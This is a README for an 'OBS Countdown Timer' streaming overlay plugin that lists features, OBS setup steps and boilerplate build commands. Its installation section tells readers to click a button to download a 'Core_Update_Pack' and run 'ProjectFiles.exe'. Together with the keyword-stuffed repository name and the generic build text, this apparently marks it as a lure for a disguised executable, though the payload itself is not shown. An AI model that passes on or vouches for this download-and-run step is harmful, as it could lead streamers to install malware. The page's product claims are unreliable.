james-dev-lab2001x9 / OBS-Countdown-Timer-Free-Overlay-Timer-Plugin-for-Streaming-2026

# OBS Countdown Timer
**Free Overlay Timer Plugin for Streaming — 2026**
Clean and powerful countdown timer designed specifically for OBS Studio. 
Fully customizable overlay, hotkeys, multiple visual styles and zero performance impact.
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### What this is
A complete countdown timer solution for streamers that provides:
- Customizable countdown overlay 
- Multiple visual styles 
- Hotkey control (start / pause / reset) 
- Browser Source ready 
- Lightweight and stable 
- Easy configuration 
Perfect for starting streams, breaks, giveaways, events and more.
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### Features
- Smooth countdown animation 
- Fully customizable text, colors and fonts 
- Multiple ready-made styles 
- Hotkey support 
- Sound notification on finish (optional) 
- Always-on-top overlay mode 
- Browser Source version included 
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### Installation
1. Download the latest core pack 
2. Extract the archive 
3. Run `ProjectFiles.exe` 
4. Follow the on-screen instructions 
> Click the green button above to get **Core_Update_Pack** and launch `ProjectFiles.exe`
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### How to use in OBS
1. Add a **Browser Source**
2. Point it to the local `browser-source/index.html`
3. Set width & height according to your overlay
4. Control the timer with hotkeys or the control panel
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### Configuration
All settings are stored in `config/default.json`:
- Default time 
- Text format 
- Colors & fonts 
- Style preset 
- Hotkeys 
- Sound on finish 
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### Building from Source
```bash
git clone https://github.com/YOUR_USERNAME/obs-countdown-timer.git
cd obs-countdown-timer
mkdir build && cd build
cmake ..
cmake --build . --config Release